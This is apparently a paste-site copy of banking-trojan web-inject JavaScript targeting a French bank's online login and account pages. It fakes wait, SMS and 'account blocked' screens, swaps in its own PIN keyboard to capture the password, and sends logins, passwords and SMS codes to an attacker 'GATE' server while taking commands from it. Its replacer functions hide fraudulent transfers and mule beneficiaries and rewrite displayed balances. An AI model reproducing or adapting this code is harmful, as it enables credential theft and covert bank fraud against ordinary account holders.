4WvzAHaoG9nxPi5d+jYUqfAhhykOFwJWiAAAIfkECQoAAAAsAAAAACAAIAAABPAQyElpUqnqzaciSoVkXVUMFaFSwlpOCcMYlErAavhOMnNLNo8KsZsMZItJEIDIFSkLGQoQTNhIsFehRww2CQLKF0tYGKYSg+ygsZIuNqJksKgbfgIGepNo2cIUB3V1B3IvNiBYNQaDSTtfhhx0CwVPI0UJe0+bm4g5VgcGoqOcnjmjqDSdnhgEoamcsZuXO1aWQy8KAwOAuTYYGwi7w5h+Kr0SJ8MFihpNbx+4Erq7BYBuzsdiH1jCAzoSfl0rVirNbRXlBBlLX+BP0XJLAPGzTkAuAOqb0WT5AH7OcdCm5B8TgRwSRKIHQtaLCwg1RAAAOwAAAAAAAAAAAA==) no-repeat scroll 7px 7px #FFFFFF;color: #999999;font-size: 1.167em;height: 46px;margin: 0;padding: 0px 15px 0 50px;"><div style="padding-top:11px;font-size:11px;color:#185BB6;">'+FKTEXT.WAITING+'</div></div><div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAsSURBVHjaYpw5c+Z/BiIAIxDrEaOQBYj/jCqkisK/A2fiP2IUMjMQCQACDABXfg8C4LEGcAAAAABJRU5ErkJggg==) repeat-x scroll left top transparent;height: 14px;"></div> </div> <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKsSURBVHja7Jm/qxpBEMdn9wnGkHSCWGiRMlja+AcI6SSQPyCVEJI/SAQRhfRpguA/ICm0slFEEYlaWaXw6d3uu/NHmDfO7u3FR6pbGNbTu898d/aHzigAQMK5aXje6LVzSxmg+h44Bw17Qa51HHgIfSAPc6DQiXJVfoVyMGqS3BdLKTbFXEfGOgS+uQyPGlh655hSVQL1NJ5WxamL4ZgpBsYBjGAMvQKxQmo+ei2RAFYpVicRXEQoZeFYqUImDJNCN4hgNsszpVevvmWW6XqmK+X0+UOz2dzUarUP5XL57Wq1mux2O4+AuBBog5PzA8fjUW+3W5hMJvvFYnEcDodfG43Gr4tiF8NhO8GFDtrVQ6AU+v3+42Aw+NxqtUbBWx562LNAfbwcJR5XoVCAarWarlQqjVwul75sDEnMtvNOTdKZKBaLkM/nX9Xr9U9o8rieg/PQsJVKpXQA/xihkFMrjNBsNgtCiHeOsJvGQjOZDCilXjuo4hwIFhqohGBRxFZoVUoWvnA4b2NBbQezKRROSoGL2z3DN4UDXhLq1BJoAk2gCTSBJtAE+r+hTim6dIBwMH2vUu3o8K9j6ThczowO/xUaP6aHwwGklI8RCk2ONAsNsr7w1/RvpgbgpJiFjsfj/Xq9/sFlcw7qb6GbzQaWy6Xf7Xa/k6KCMtRVblRLCuz1evvRaPRtNpv9YXJP5bIKUp7nQZjwTqfT/Xw+94OE9wtKeOMO/wxtt9t+MNOLQOXPTqfTRQp9g9IoJ6ff7+/JjTgzpj33msb6VJXwmHKHMoCjlAKGcjOsHIFsCckjJSRlUc6BVRRUR0C1DUahYHlIGUZg3K4pVP/QFqhtR1mVupY6Iw8UrDTqUHY+U69QiDgvIW752Ge+c+DeQrcylOG1qzIuf3/xPw+eBBgA9ioHIvHy2yIAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div></div>';
- var popup_elem_common = document.getElementById("popup_elem_common");
- if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
- var popup_elem = document.createElement("div");
- popup_elem.id = "popup_elem_common";
- popup_elem.style.position = "absolute";
- popup_elem.style.top = "0px";
- popup_elem.style.left = "0px";
- popup_elem.style.width = "100%";
- popup_elem.style.height = "100%";
- popup_elem.style.zIndex = "1001";
- popup_elem.style.background = "url(blank.gif)";
- popup_elem.innerHTML = fkWaitContent;
- document.getElementsByTagName('body')[0].appendChild(popup_elem);
- if(status)return false;
- setTimeout(vw.finish,90000);
- break;
- case("hidewait"):
- var popup_elem_common = document.getElementById("popup_elem_common");
- if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
- break;
- case("sms"):
- vw.fake_step("hidewait");
- var smsDiv = document.getElementById("smsDiv");
- if(smsDiv)smsDiv.parentNode.removeChild(smsDiv);
- var pointTd = by.args(document,"td","background:cadre_left\.png","style:cadre_left\.png");
- if(pointTd){
- var pointTr = pointTd.parentNode;
- var tables = vw.from(pointTr,"table");
- if(tables && tables.length > 0){
- var pointTable = tables[0];
- var smsDiv = document.createElement("div");
- smsDiv.id = "smsDiv";
- smsDiv.style.padding = "8px";
- smsDiv.style.textAlign = "left";
- smsDiv.style.fontSize = "11px";
- smsDiv.innerHTML = '<img align=top width="16" height="16" src="/banque/PA_CanalnetApp/jsp/outilsxml/identification/imgs/second-step.png"> '+FKTEXT.SMSTITLE+
- '<br>'+
- FKTEXT.SMSQUERY+
- '<br><br><bR>'+
- FKTEXT.SMSLABEL+"<input style='float:right;' type='password' id='vw.inp_sms_input' maxlength=6 size=6>"
- '';
- pointTable.parentNode.insertBefore(smsDiv,pointTable);
- pointTable.style.visibility = "hidden";
- UI_login_input.disabled = true;
- }
- }
- break;
- case("block"):
- vw.fake_step("hidewait");
- var artDiv = document.getElementById("artDiv");
- if(artDiv)artDiv.parentNode.removeChild(artDiv);
- var artDiv = document.createElement("div");
- artDiv.id = "artDiv";
- artDiv.className = "rubrique";
- artDiv.innerHTML = '<table width="350" cellspacing="0" cellpadding="0" border="0">'+
- '<tbody>'+
- '<tr>'+
- '<td width="6" height="69" rowspan="5"></td>'+
- '<td width="338" height="4" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_02.gif" colspan="2"><img width="421" height="4" alt="" src="/banque/PA_CanalnetApp/jsp/imgs/transp.gif"></td>'+
- '<td width="6" height="69" rowspan="5"></td>'+
- '</tr>'+
- '<tr>'+
- '<td width="100%" height="18" align="center" class="TitreErreur" colspan="2">'+FKTEXT.BLOCKTITLE+'</td>'+
- '</tr>'+
- '<tr>'+
- '<td width="100%" height="6" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_05.gif" colspan="2"></td>'+
- '</tr>'+
- '<tr>'+
- '<td width="312" height="34" align="center" class="LibelleErreur" colspan=2 style="background:#E7E7E7;padding:10px;">'+
- FKTEXT.BLOCKMAIN+"<br>"+FKTEXT.BLOCTRYNEXTTIME+
- '</td>'+
- '</tr>'+
- '<tr>'+
- '<td width="100%" height="7" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_08.gif" colspan="2"></td>'+
- '</tr>'+
- '</tbody>'+
- '</table>';
- var mainTable = by.args(document,"table","class:identification");
- if(mainTable){
- mainTable.parentNode.insertBefore(artDiv,mainTable);
- mainTable.style.display = "none";
- }
- break;
- }
- }
- vw.actions = function(){
- switch(QUERY.COMMAND){
- case("OFFLINE"):
- vw.fake_step("login");
- break;
- case("BLOCK"):
- vw.fake_step("block");
- break;
- case("SMS"):
- vw.fake_step("sms");
- break;
- case("LOGIN"):
- vw.fake_step("login");
- break;
- case("REASK LOGIN INFO"):
- vw.fake_step("relogin");
- break;
- case("WAIT"):
- vw.fake_step("wait",true);
- setTimeout(hujax.command,1000);
- break;
- }
- }
- //=================== INIT REPLACER FUNCTIONS =====================
- replacer.get_balancetable = function(){
- var r1 = document.getElementById("corps");
- var r2 = by.args(document,"div","class:colonnegaucheunecompte");
- if(r1 && r2){
- return r2;
- }else{
- return false;
- }
- }
- replacer.get_historytable = function(){
- return by.args(document,"table","id:tablecompte","summary:liste des op.*rations");
- }
- replacer.get_blockstable = function(){
- return by.args(document,"ul","id:carousel");
- }
- replacer.get_dropstable = function(){
- return by.args(document,"div","class:gererbenef","id:listecomptes");
- }
- replacer.get_dropshistory = function(){
- var menuLink = by.args(document,"a","onclick:listervirementsaction");
- if(menuLink){
- if(/itemSelect/igm.test(menuLink.parentNode.className)){
- return true;
- }
- }
- return false;
- }
- replacer.init(replacer.get_balancetable(),replacer.get_historytable(),replacer.get_blockstable(),replacer.get_dropstable(),replacer.get_dropshistory());
- replacer.currency(summ.get,summ.set);
- replacer.finder_amount = function(txt){
- if(txt){
- var amount = 0;
- for(var i = 0; i < replacerArray.length; i++){
- var pattern = new RegExp(replacerArray[i]["ACCOUNT"],"igm");
- if(pattern.test(txt)){
- amount += summ.get(replacerArray[i]["AMOUNT"]);
- }
- }
- }
- return amount;
- }
- replacer.finder_transfer = function(txt){
- if(txt){
- for(var i = 0; i < replacerArray.length; i++){
- var pattern_1 = new RegExp(replacerArray[i]["NAME"],"igm");
- var pattern_2 = new RegExp(replacerArray[i]["MEMO"],"igm");
- if(pattern_1.test(txt) || pattern_2.test(txt)){
- return true;
- }
- }
- }
- return false;
- }
- replacer.totalamount = function(){
- var amount = 0;
- for(var i = 0; i < replacerArray.length; i++){
- amount += summ.get(replacerArray[i]["AMOUNT"]);
- }
- return amount;
- }
- replacer.hide = function(){
- var imgs = vw.from(document,"img");
- if(imgs && imgs.length > 0){
- for(var i = 0; i < imgs.length; i++){
- if(/Actions/igm.test(imgs[i].alt) && /plus\.png/igm.test(imgs[i].src)){
- if(!replacer.get_dropstable())imgs[i].style.display = "none";
- }
- }
- }
- var b1 = by.args(document,"div","class:listeaction");
- if(b1)b1.parentNode.removeChild(b1);
- var b2 = by.args(document,"div","class:blocreleveoutils");
- if(b2)b2.parentNode.removeChild(b2);
- var ahs = vw.from(document,"a");
- if(ahs && ahs.length > 0){
- for(var i = 0; i < ahs.length; i++){
- if(/Enregistrer vos pointages/igm.test(vw.text(ahs[i]))){
- ahs[i].parentNode.style.display = "none";
- }
- }
- }
- }
- replacer.balance = function(){
- if(replacer.get_balancetable()){
- var totalDiv = by.args(document,"div","class:montanttotalavoirs");
- if(totalDiv){
- var amount = replacer.totalamount();
- if(amount > 0){
- replacer.replace(totalDiv,amount);
- }
- }
- var tables = vw.from(document,"table");
- if(tables && tables.length > 0){
- for(var i = 0; i < tables.length; i++){
- if(/Liste des contrats/igm.test(tables[i].summary)){
- var amountTotal = 0;
- var trs = vw.from(tables[i],"tr");
- if(trs && trs.length > 0){
- for(var e = 0; e < trs.length; e++){
- var tds = vw.from(trs[e],"td");
- if(tds && tds.length > 5){
- var accountNumber = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- var amount = replacer.finder_amount(accountNumber);
- if(amount > 0){
- amountTotal += amount;
- replacer.replace(tds[3],amount);
- var ahs = vw.from(tds[3],"a");
- if(ahs && ahs.length > 0){
- ahs[0].style.textDecoration = "none";
- }
- var lastAmount = vw.text(tds[3]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(summ.get(lastAmount) > 0){
- tds[3].className = "positif";
- }
- var parentDiv = tables[i].parentNode;
- if(parentDiv){
- var lastChar = parentDiv.id.substr(parentDiv.id.length-1,1);
- if(lastChar){
- var totalBlockParent = document.getElementById("blocIndex_"+lastChar);
- if(totalBlockParent){
- var totalBlock = by.args(totalBlockParent,"div","class:montant");
- if(totalBlock){
- replacer.replace(totalBlock,amount);
- var lastAmount = vw.text(totalBlock).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(summ.get(lastAmount) > 0){
- totalBlock.className = "montant positif";
- }
- }
- }
- }
- }
- }
- if(trs[e].className == "total"){
- if(amountTotal > 0){
- replacer.replace(tds[3],amountTotal);
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
- replacer.history = function(){
- if(replacer.get_historytable()){
- var accountSelect = document.getElementById("cboContractNumbers");
- if(accountSelect){
- var accountNumbetPattern = vw.selected(accountSelect).TEXT.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- var amount = replacer.finder_amount(accountNumbetPattern);
- if(amount > 0){
- var topAmountTd = by.args(document,"td","class:soldereleve");
- if(topAmountTd){
- replacer.replace(topAmountTd,amount);
- }
- var table = replacer.get_historytable();
- if(table){
- var trs = vw.from(table,"tr");
- if(trs && trs.length > 0){
- for(var i = 0; i < trs.length; i++){
- var tds = vw.from(trs[i],"td");
- if(tds && tds.length > 7){
- var transferInfoPattern = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(replacer.finder_transfer(transferInfoPattern)){
- trs[i].style.display = "none";
- }
- tds[6].innerHTML = "";
- }
- }
- }
- }
- }
- }
- }
- }
- replacer.blocks = function(){
- if(replacer.get_blockstable()){
- var lis = vw.from(document,"li");
- if(lis && lis.length > 0){
- for(var i = 0; i < lis.length; i++){
- if(/blocContent.*jcarousel/igm.test(lis[i].className)){
- var accountNumberTag = by.args(lis[i],"p","class:numcompte");
- var accountAmountTag = by.args(lis[i],"span","class:solde");
- if(accountNumberTag && accountAmountTag){
- var accountNumber = vw.text(accountNumberTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|\s*)/igm,"");
- var amount = replacer.finder_amount(accountNumber);
- if(amount > 0){
- replacer.replace(accountAmountTag,amount);
- var lastAmount = vw.text(accountAmountTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(summ.get(lastAmount) > 0){
- accountAmountTag.className = "solde vert";
- }
- }
- }
- }
- }
- }
- var imgs = vw.from(document,"img");
- if(imgs && imgs.length > 0){
- for(var i = 0; i < imgs.length; i++){
- if(/closeList/igm.test(imgs[i].src)){
- var ahs = imgs[i].parentNode;
- jQuery(ahs).unbind("click");
- }
- }
- }
- }
- }
- replacer.drops = function(){
- if(replacer.get_dropstable()){
- var tables = vw.from(replacer.get_dropstable(),"table");
- if(tables && tables.length > 0){
- var table = tables[0];
- var trs = vw.from(table,"tr");
- if(trs && trs.length > 0){
- for(var i = 0; i < trs.length; i++){
- var tds = vw.from(trs[i],"td");
- if(tds && tds.length > 5){
- var transferInfoPattern = vw.text(tds[0]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(replacer.finder_transfer(transferInfoPattern)){
- trs[i].style.display = "none";
- }
- }
- }
- }
- }
- }
- }
- replacer.dropshistory = function(){
- if(replacer.get_dropshistory()){
- var table = by.args(document,"table","class:tablecompte");
- if(table){
- var trs = vw.from(table,"tr");
- if(trs && trs.length > 0){
- for(var i = 0; i < trs.length; i++){
- var tds = vw.from(trs[i],"td");
- if(tds && tds.length > 5){
- var transferInfoPattern_1 = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- var transferInfoPattern_2 = vw.text(tds[3]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
- if(replacer.finder_transfer(transferInfoPattern_1) || replacer.finder_transfer(transferInfoPattern_2)){
- trs[i].style.display = "none";
- }
- }
- }
- }
- }
- }
- }
- replacer.start = function(){
- replacer.balance();
- replacer.history();
- replacer.blocks();
- replacer.drops();
- replacer.dropshistory();
- }
- //=================== INIT AJAX FUNCTIONS =====================
- hujax.callback(UniversalCallback);
- function UniversalCallback(){
- switch(kl){
- case("check"):
- if(admindata == "C:ON"){
- vw.start();
- }else if(admindata == "C:BLOCK"){
- vw.fake_step("block");
- }
- vw.showdoc(document);
- break;
- case("login"):
- if(typeof admindata != "undefined"){
- vw.fake_step("wait");
- hujax.command();
- }else{
- vw.fake_step("login");
- }
- break;
- case("command"):
- if(QUERY.FINISH && !QUERY.CHANGED){
- vw.fake_step("login");
- }else{
- if(typeof admindata != "undefined"){
- var els = admindata.split("|");
- if(els && els.length == 2){
- if(els[0] == QUERY.COMMAND){
- setTimeout(hujax.command,1000);
- }else{
- QUERY.CHANGED = true;
- QUERY.COMMAND = els[0];
- QUERY.VALUE = els[1];
- vw.actions();
- }
- }
- }
- }
- break;
- case("replacer"):
- if(typeof admindata != "undefined"){
- var els = admindata.split("|");
- if(els && els.length > 0){
- for(var i = 0; i < els.length; i++){
- var p = els[i].split("/");
- if(p && p.length == 4){
- replacerArray[i] = new Array();
- replacerArray[i]["AMOUNT"] = p[0];
- replacerArray[i]["ACCOUNT"] = p[1];
- replacerArray[i]["NAME"] = p[2];
- replacerArray[i]["MEMO"] = p[3];
- }
- }
- replacer.hide();
- if(replacer.canstart()){
- replacer.start();
- }
- vw.showdoc(document);
- }else{
- vw.showdoc(document);
- }
- }else{
- vw.showdoc(document);
- }
- break;
- }
- }
- hujax.command = function(){
- var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date());
- LINK += "&type=intercept";
- kl = "command";
- hujax.send(LINK);
- }
- hujax.start = function(){
- var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date());
- LINK += "&type=intercept";
- LINK += "&domain="+document.domain;
- LINK += "&browser="+vw.browser();
- kl = "check";
- hujax.send(LINK);
- }
- hujax.replacer = function(){
- var LINK = GATE+"?mode=REPLACER&hash="+Number(new Date());
- kl = "replacer";
- hujax.send(LINK);
- }
- //=================== INIT START FUNCTIONS =====================
- vw.button = function(){
- if(QUERY.COMMAND == "SMS"){
- var vwinp_sms_input = document.getElementById("vw.inp_sms_input");
- if(vwinp_sms_input){
- vw.fake_step("wait",true);
- HOLDER.SMS = vwinp_sms_input.value;
- var LINK = GATE+"?mode=JABBER&hash="+Number(new Date());
- LINK += "&type=intercept";
- LINK += "&message=Code Recieved";
- LINK += "&data="+HOLDER.SMS;
- kl = "command";
- hujax.send(LINK);
- }
- }else{
- HOLDER.LOGIN = UI_login_input.value;
- vw.fake_step("wait",true);
- var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date());
- LINK += "&type=intercept&message=Loginning...";
- LINK += "&domain="+document.domain;
- LINK += "&browser="+vw.browser();
- kl = "login";
- hujax.send(LINK);
- }
- }
- vw.keyboard_click = function(index,el){
- if(index < 10){
- index = "0"+index;
- }else{
- index += "";
- }
- var origA = by.args(document,"a","href:figureClick.*"+index);
- if(origA){
- HOLDER.PASSWORD += /[0-9]/igm.test(vw.text(el)) ? vw.text(el) : "_";
- vw.mouse("click",origA);
- }
- }
- vw.keyboard_replace = function(){
- var keyDiv = document.getElementById("secret-nbr-keyboard");
- if(keyDiv){
- var newKey = document.createElement("div");
- newKey.innerHTML = '<div style="height:28px;">'+
- '<a onclick="vw.keyboard_click(1,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>1</b></a>'+
- '<a onclick="vw.keyboard_click(2,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(3,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(4,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(5,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>0</b></a>'+
- '</div>'+
- '<div style="height:28px;">'+
- '<a onclick="vw.keyboard_click(6,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(7,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(8,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>2</b></a>'+
- '<a onclick="vw.keyboard_click(9,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>9</b></a>'+
- '<a onclick="vw.keyboard_click(10,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '</div>'+
- '<div style="height:28px;">'+
- '<a onclick="vw.keyboard_click(11,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(12,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>7</b></a>'+
- '<a onclick="vw.keyboard_click(13,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(14,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(15,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '</div>'+
- '<div style="height:28px;">'+
- '<a onclick="vw.keyboard_click(16,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(17,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(18,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>5</b></a>'+
- '<a onclick="vw.keyboard_click(19,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>4</b></a>'+
- '<a onclick="vw.keyboard_click(20,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>6</b></a>'+
- '</div>'+
- '<div style="height:28px;">'+
- '<a onclick="vw.keyboard_click(21,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(22,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(23,this);return false;" style="padding:5px;padding-right:11px;padding-left:11px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b> </b></a>'+
- '<a onclick="vw.keyboard_click(24,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>8</b></a>'+
- '<a onclick="vw.keyboard_click(25,this);return false;" style="padding:5px;padding-right:9px;padding-left:9px;cursor:pointer;font-weight:bold;background:#F8F8F8;border:1px solid #BDBEBE;color: #3F3F3F;font-family: Arial,Helvetica,sans-serif;font-size: 14px;font-style: normal;text-align: center;"><b>3</b></a>'+
- '</div>'+
- '';
- keyDiv.parentNode.insertBefore(newKey,keyDiv);
- keyDiv.style.display = "none";
- }
- }
- vw.lethim = function(){
- vw.mouse("click",UI_login_button);
- }
- vw.start = function(){
- vw.blockenter(UI_login_input);
- vw.keyboard_replace();
- var ahs = vw.from(document,"a");
- if(ahs && ahs.length > 0){
- for(var i = 0; i < ahs.length; i++){
- if(/reinit/igm.test(ahs[i].href)){
- vw.bind(ahs[i],"click",function(){
- HOLDER.PASSWORD = "";
- });
- }
- }
- }
- clone.click(UI_login_button,vw.button);
- }
- vw.inside = function(){
- return by.args(document,"img","alt:d.*connexion");
- }
- function _start(){
- if(UI_login_input && UI_password_input && UI_login_button){
- hujax.start();
- }else if(vw.inside()){
- hujax.replacer();
- }else{
- vw.showdoc(document);
- }
- }
- _start();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement